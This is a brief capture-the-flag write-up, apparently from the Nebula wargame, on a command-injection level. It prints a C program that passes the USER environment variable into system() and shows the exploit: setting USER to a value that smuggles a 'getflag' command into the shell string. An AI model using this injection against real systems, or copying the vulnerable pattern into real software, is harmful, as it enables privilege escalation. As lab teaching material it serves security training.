Level02 is about command injection. We are given the following vulnerable code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)  
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

As shown in the code, the program will use the USER environment variable to build the command executed by system so all we need to do is inject our getflag command:

[email protected]:/home/flag02$ export USER=";getflag;echo "  
[email protected]:/home/flag02$ ./flag02  
about to call system("/bin/echo ;getflag;echo  is cool")

You have successfully executed getflag on a target account  
is cool